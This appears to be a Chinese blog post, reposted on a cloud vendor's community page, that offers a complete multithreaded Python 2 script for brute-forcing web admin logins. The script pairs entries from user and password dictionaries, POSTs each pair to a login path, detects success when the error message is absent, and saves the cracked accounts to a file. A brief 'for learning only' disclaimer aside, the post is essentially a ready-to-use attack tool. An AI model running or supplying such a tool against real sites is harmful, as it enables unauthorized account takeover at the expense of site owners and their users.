python 寫的http後台弱口令爆破工具

來源:互聯網
上載者:User
今天來弄一個後台破解的Python小程式,哈哈,直接上代碼吧,都有注釋~~

# -*- coding: utf-8 -*-# 利用python 寫的多線程爆破後台使用者名稱+密碼(自備字典),比較實用,即使是在資訊安全這麼重視的今天,還是有人不加驗證碼或者異常訪問限制之類的登陸驗證方式,這樣就很# 容易被弱口令爆破工具拿下,(本代碼僅限學習實用,禁止進行web攻擊,不承擔法律責任)import urllib2import urllibimport httplibimport threading  headers = {"Content-Type":"application/x-www-form-urlencoded",                "Connection":"Keep-Alive",           "Referer":"http://www.xxxxx.com/"};# referer:是代理的訪問來源地址# lock = threading.Lock()def tryUser(user,password):    #print user,password    global headers    global outFile     conn = httplib.HTTPConnection("www.xxxxx.com") # 遠端網域名    if len(user) < 3:     # 限制使用者名稱長度,排除字典中的無用資料        return  # 主動退出線程    else:        #lock.acquire()   # 多線程操作檔案,提前加鎖,用後釋放        #line = inFile.readline()                  #userData = line.strip().split(' # ') # strip() 預設去除空白字元包括' ','\t','\n'等        #lock.release()          user = user.strip()        passwd = password.strip()        params = urllib.urlencode({'username': user, 'password': passwd})        conn.request(method="POST", url="/users/login", body=params, headers=headers) # 後台路徑        responseText = conn.getresponse().read().decode('utf8') # 網頁編碼        #print responseText  # 第一次可以列印看看是否解析        if not responseText.find(u'使用者名稱或者密碼不正確,請重新輸入!') > 0 :            print '----- find user:', user, 'with password:', passwd, '-----'            outFile.write(user + '    ' +  passwd + '\n')                  return  outFile = open('accounts-cracked.txt', 'w')  if __name__ == '__main__':    tsk=[] # 建立線程池    with open(r'user.dic', 'r') as fUser:  # 使用with as 來開啟檔案,不需自己關閉檔案,因為他會自己在合適的時候自已關閉(類似C# 中的using(...){}介面)        with open(r'pass.dic', 'r') as fPass:            for user in fUser.readlines():                for password in fPass.readlines():                    t= threading.Thread(target = tryUser,args=(user,password))                    t.daemon = False # 設定不進行進程守護                    tsk.append(t) # t.start()                fPass.seek(0)                # 記住這裡要將檔案重新移到檔案首,不然就會出現只執行外層迴圈的第一條,因為內層在                # 迭代之後(readlines()是迭代器的形式,迭代一次後檔案指標就指到檔案尾了,迭代器                # 也是end了)第二次就沒有password 在 fPass中,也就是說 for  password in fPass.readlines():                # 為空白,所以這裡的內層迴圈就不會被執行了,因此也就是迭代器清零的問題(C ++ itertor 常有)                                         # join()無參數就是完全阻塞主線程,等待線程執行完 有參數就是說,# 在主線程等待一秒後就不阻塞線程了,繼續執行主線程,這裡的意思是一秒鐘開一個線程# 不能再thread start之前調用join(), 因為join() 是線程運行時調度    for t in tsk:        t.start()        t.join(1)           print "All thread OK,maybe not "    outFile.close()
  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.